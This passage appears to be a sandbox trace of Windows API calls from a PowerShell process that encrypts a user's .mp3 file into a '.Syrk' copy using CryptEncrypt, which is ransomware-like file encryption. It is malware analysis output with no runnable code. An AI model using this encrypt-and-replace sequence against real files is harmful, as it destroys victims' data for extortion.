"c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a2cf90 | out: lpFileInformation=0x5a2cf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0181.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ccc8) returned 1 [0181.816] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0181.816] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0181.816] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0181.816] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0181.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cc60) returned 1 [0181.816] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a2cf24 | out: lpFileInformation=0x5a2cf24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0181.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cc5c) returned 1 [0181.816] CoTaskMemAlloc (cb=0x10) returned 0x5c83540 [0181.816] CoTaskMemAlloc (cb=0x10) returned 0x5c83528 [0181.816] CoTaskMemAlloc (cb=0xe4) returned 0x393770 [0181.816] CoTaskMemAlloc (cb=0x30) returned 0x3c4e58 [0181.817] WinVerifyTrust () returned 0x800b0100 [0181.825] CoTaskMemFree (pv=0x5c83540) [0181.825] CoTaskMemFree (pv=0x3c4e58) [0181.825] CryptCATHandleFromStore () returned 0x36da00 [0181.826] WTHelperGetProvSignerFromChain () returned 0x0 [0181.826] CoTaskMemAlloc (cb=0x10) returned 0x5c83540 [0181.826] CoTaskMemAlloc (cb=0x30) returned 0x3c4e58 [0181.826] WinVerifyTrust () returned 0x0 [0181.826] CoTaskMemFree (pv=0x3c4e58) [0181.826] CoTaskMemFree (pv=0x5c83540) [0181.826] CoTaskMemFree (pv=0x393770) [0181.826] CoTaskMemFree (pv=0x5c83528) [0181.830] CoCreateGuid (in: pguid=0x5a2cebc | out: pguid=0x5a2cebc*(Data1=0xd5ff812e, Data2=0x7b8a, Data3=0x48bb, Data4=([0]=0xb7, [1]=0x92, [2]=0x54, [3]=0xd3, [4]=0xe4, [5]=0x54, [6]=0x56, [7]=0xbf))) returned 0x0 [0181.830] CoCreateGuid (in: pguid=0x5a2cebc | out: pguid=0x5a2cebc*(Data1=0xde617cb7, Data2=0xaf0b, Data3=0x43d6, Data4=([0]=0x80, [1]=0xb2, [2]=0x29, [3]=0x25, [4]=0x2a, [5]=0xf2, [6]=0xba, [7]=0x1e))) returned 0x0 [0181.830] CoCreateGuid (in: pguid=0x5a2cebc | out: pguid=0x5a2cebc*(Data1=0xb197caa2, Data2=0x131e, Data3=0x474e, Data4=([0]=0xaf, [1]=0xf5, [2]=0x98, [3]=0x4c, [4]=0x6c, [5]=0xc1, [6]=0x35, [7]=0x51))) returned 0x0 [0181.831] CoCreateGuid (in: pguid=0x5a2cebc | out: pguid=0x5a2cebc*(Data1=0xc9cb5e93, Data2=0x55d9, Data3=0x466a, Data4=([0]=0xa5, [1]=0x21, [2]=0xdc, [3]=0x42, [4]=0x7a, [5]=0x88, [6]=0xc6, [7]=0x3f))) returned 0x0 [0181.831] CoCreateGuid (in: pguid=0x5a2cebc | out: pguid=0x5a2cebc*(Data1=0x70cf4688, Data2=0x1a32, Data3=0x4351, Data4=([0]=0x86, [1]=0x64, [2]=0x93, [3]=0x3e, [4]=0xb5, [5]=0xef, [6]=0x4b, [7]=0x71))) returned 0x0 [0181.831] CoCreateGuid (in: pguid=0x5a2cebc | out: pguid=0x5a2cebc*(Data1=0x56562a4b, Data2=0xfa0a, Data3=0x4121, Data4=([0]=0x91, [1]=0x7f, [2]=0x5a, [3]=0x2, [4]=0xec, [5]=0xdc, [6]=0xa4, [7]=0x71))) returned 0x0 [0181.876] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e214 | out: phkResult=0x5a2e214*=0x460) returned 0x0 [0181.876] RegQueryValueExW (in: hKey=0x460, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e234, lpData=0x0, lpcbData=0x5a2e230*=0x0 | out: lpType=0x5a2e234*=0x1, lpData=0x0, lpcbData=0x5a2e230*=0x56) returned 0x0 [0181.876] RegQueryValueExW (in: hKey=0x460, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e234, lpData=0x2461788, lpcbData=0x5a2e230*=0x56 | out: lpType=0x5a2e234*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e230*=0x56) returned 0x0 [0181.876] RegCloseKey (hKey=0x460) returned 0x0 [0181.877] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e214 | out: phkResult=0x5a2e214*=0x460) returned 0x0 [0181.877] RegQueryValueExW (in: hKey=0x460, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e234, lpData=0x0, lpcbData=0x5a2e230*=0x0 | out: lpType=0x5a2e234*=0x1, lpData=0x0, lpcbData=0x5a2e230*=0x56) returned 0x0 [0181.877] RegQueryValueExW (in: hKey=0x460, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e234, lpData=0x2461a9c, lpcbData=0x5a2e230*=0x56 | out: lpType=0x5a2e234*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e230*=0x56) returned 0x0 [0181.877] RegCloseKey (hKey=0x460) returned 0x0 [0181.877] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e214 | out: phkResult=0x5a2e214*=0x460) returned 0x0 [0181.878] RegQueryValueExW (in: hKey=0x460, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e234, lpData=0x0, lpcbData=0x5a2e230*=0x0 | out: lpType=0x5a2e234*=0x1, lpData=0x0, lpcbData=0x5a2e230*=0x56) returned 0x0 [0181.878] RegQueryValueExW (in: hKey=0x460, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e234, lpData=0x2461db0, lpcbData=0x5a2e230*=0x56 | out: lpType=0x5a2e234*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e230*=0x56) returned 0x0 [0181.878] RegCloseKey (hKey=0x460) returned 0x0 [0181.878] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e214 | out: phkResult=0x5a2e214*=0x460) returned 0x0 [0181.878] RegQueryValueExW (in: hKey=0x460, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e234, lpData=0x0, lpcbData=0x5a2e230*=0x0 | out: lpType=0x5a2e234*=0x1, lpData=0x0, lpcbData=0x5a2e230*=0x56) returned 0x0 [0181.879] RegQueryValueExW (in: hKey=0x460, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e234, lpData=0x24620b8, lpcbData=0x5a2e230*=0x56 | out: lpType=0x5a2e234*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e230*=0x56) returned 0x0 [0181.879] RegCloseKey (hKey=0x460) returned 0x0 [0181.879] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e260 | out: phkResult=0x5a2e260*=0x460) returned 0x0 [0181.879] RegQueryValueExW (in: hKey=0x460, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e280, lpData=0x0, lpcbData=0x5a2e27c*=0x0 | out: lpType=0x5a2e280*=0x1, lpData=0x0, lpcbData=0x5a2e27c*=0x56) returned 0x0 [0181.879] RegQueryValueExW (in: hKey=0x460, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e280, lpData=0x24623b4, lpcbData=0x5a2e27c*=0x56 | out: lpType=0x5a2e280*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e27c*=0x56) returned 0x0 [0181.879] RegCloseKey (hKey=0x460) returned 0x0 [0181.880] CoTaskMemAlloc (cb=0x20c) returned 0x31e190 [0181.880] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x31e190 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0181.880] CoTaskMemFree (pv=0x31e190) [0181.880] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0181.880] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0181.880] EtwEventActivityIdControl () returned 0x0 [0181.881] SetEvent (hEvent=0x344) returned 1 [0181.881] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a2e5bc*=0x344, lpdwindex=0x5a2e3e0 | out: lpdwindex=0x5a2e3e0) returned 0x0 [0181.882] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e548, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0181.882] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6b4 | out: lpConsoleScreenBufferInfo=0x5a2e6b4) returned 1 [0181.884] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6b4 | out: lpConsoleScreenBufferInfo=0x5a2e6b4) returned 1 [0181.918] EtwEventActivityIdControl () returned 0x0 [0181.918] EtwEventActivityIdControl () returned 0x0 [0181.918] EtwEventActivityIdControl () returned 0x0 [0181.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0181.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", lpFilePart=0x0) returned 0x4b [0181.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0181.977] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x460 [0181.977] GetFileType (hFile=0x460) returned 0x1 [0181.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0181.977] GetFileType (hFile=0x460) returned 0x1 [0181.977] EtwEventActivityIdControl () returned 0x0 [0182.049] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0182.050] EtwEventActivityIdControl () returned 0x0 [0182.050] EtwEventActivityIdControl () returned 0x0 [0182.050] EtwEventActivityIdControl () returned 0x0 [0182.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0182.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3.Syrk", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3.Syrk", lpFilePart=0x0) returned 0x50 [0182.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0182.051] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x340 [0182.054] GetFileType (hFile=0x340) returned 0x1 [0182.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0182.054] GetFileType (hFile=0x340) returned 0x1 [0182.054] EtwEventActivityIdControl () returned 0x0 [0182.087] CryptGenRandom (in: hProv=0x374090, dwLen=0x10, pbBuffer=0x247e984 | out: pbBuffer=0x247e984) returned 1 [0182.529] CryptContextAddRef (hProv=0x374090, pdwReserved=0x0, dwFlags=0x0) returned 1 [0182.530] CryptDuplicateKey (in: hKey=0x5c68f00, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e9b4 | out: phKey=0x5a2e9b4*=0x5c68ec0) returned 1 [0182.530] CryptContextAddRef (hProv=0x374090, pdwReserved=0x0, dwFlags=0x0) returned 1 [0182.531] CryptSetKeyParam (hKey=0x5c68ec0, dwParam=0x4, pbData=0x24abe8c*=0x1, dwFlags=0x0) returned 1 [0182.531] CryptSetKeyParam (hKey=0x5c68ec0, dwParam=0x1, pbData=0x24abe58, dwFlags=0x0) returned 1 [0182.537] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0182.538] EtwEventActivityIdControl () returned 0x0 [0182.538] EtwEventActivityIdControl () returned 0x0 [0182.538] EtwEventActivityIdControl () returned 0x0 [0182.544] EtwEventActivityIdControl () returned 0x0 [0182.648] ReadFile (in: hFile=0x460, lpBuffer=0x24baa50, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e9b4, lpOverlapped=0x0 | out: lpBuffer=0x24baa50*, lpNumberOfBytesRead=0x5a2e9b4*=0xf56c, lpOverlapped=0x0) returned 1 [0182.652] CryptEncrypt (in: hKey=0x5c68ec0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24cea68*, pdwDataLen=0x5a2e9a8*=0xf560, dwBufLen=0xf560 | out: pbData=0x24cea68*, pdwDataLen=0x5a2e9a8*=0xf560) returned 1 [0182.656] WriteFile (in: hFile=0x340, lpBuffer=0x249f67c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e98c, lpOverlapped=0x0 | out: lpBuffer=0x249f67c*, lpNumberOfBytesWritten=0x5a2e98c*=0x1000, lpOverlapped=0x0) returned 1 [0182.658] WriteFile (in: hFile=0x340, lpBuffer=0x24cfa54*, nNumberOfBytesToWrite=0xe574, lpNumberOfBytesWritten=0x5a2e98c, lpOverlapped=0x0 | out: lpBuffer=0x24cfa54*, lpNumberOfBytesWritten=0x5a2e98c*=0xe574, lpOverlapped=0x0) returned 1 [0182.659] ReadFile (in: hFile=0x460, lpBuffer=0x24baa50, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e9b4, lpOverlapped=0x0 | out: lpBuffer=0x24baa50*, lpNumberOfBytesRead=0x5a2e9b4*=0x0, lpOverlapped=0x0) returned 1 [0182.710] CryptEncrypt (in: hKey=0x5c68ec0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24eddd8*, pdwDataLen=0x5a2ea0c*=0x10, dwBufLen=0x10 | out: pbData=0x24eddd8*, pdwDataLen=0x5a2ea0c*=0x10) returned 1 [0182.711] CryptEncrypt (in: hKey=0x5c68ec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24edeb4*, pdwDataLen=0x5a2ea14*=0x0, dwBufLen=0x10 | out: pbData=0x24edeb4*, pdwDataLen=0x5a2ea14*=0x10) returned 1 [0182.711] WriteFile (in: hFile=0x340, lpBuffer=0x249f67c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x249f67c*, lpNumberOfBytesWritten=0x5a2e9e4*=0x10, lpOverlapped=0x0) returned 1 [0182.744] CloseHandle (hObject=0x340) returned 1 [0182.897] CloseHandle (hObject=0x460) returned 1 [0182.900] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0182.945] EtwEventActivityIdControl () returned 0x0 [0182.945] EtwEventActivityIdControl () returned 0x0 [0182.945] EtwEventActivityIdControl () returned 0x0 [0182.969] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3")) returned 0x20 [0182.973] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0182.973] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", lpFilePart=0x0) returned 0x4b [0182.974] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0182.974] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0182.974] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0182.974] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0182.974] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0182.974] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0182.974] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0182.974] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0182.974] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0182.975] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0182.975] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0182.975] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0182.975] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0182.975] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0182.975] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0182.975] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0182.976] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0182.976] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0182.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0182.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", lpFilePart=0x0) returned 0x28 [0182.976] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu")) returned 0x10 [0182.976] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu")) returned 0x10 [0182.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0182.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", lpFilePart=0x0) returned 0x32 [0182.976] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3")) returned 0x20 [0182.977] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0182.977] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", lpFilePart=0x0) returned 0x4b [0182.980] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0182.980] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", lpFilePart=0x0) returned 0x4b [0182.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0182.984] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0182.984] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", lpFilePart=0x0) returned 0x4b [0182.984] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, 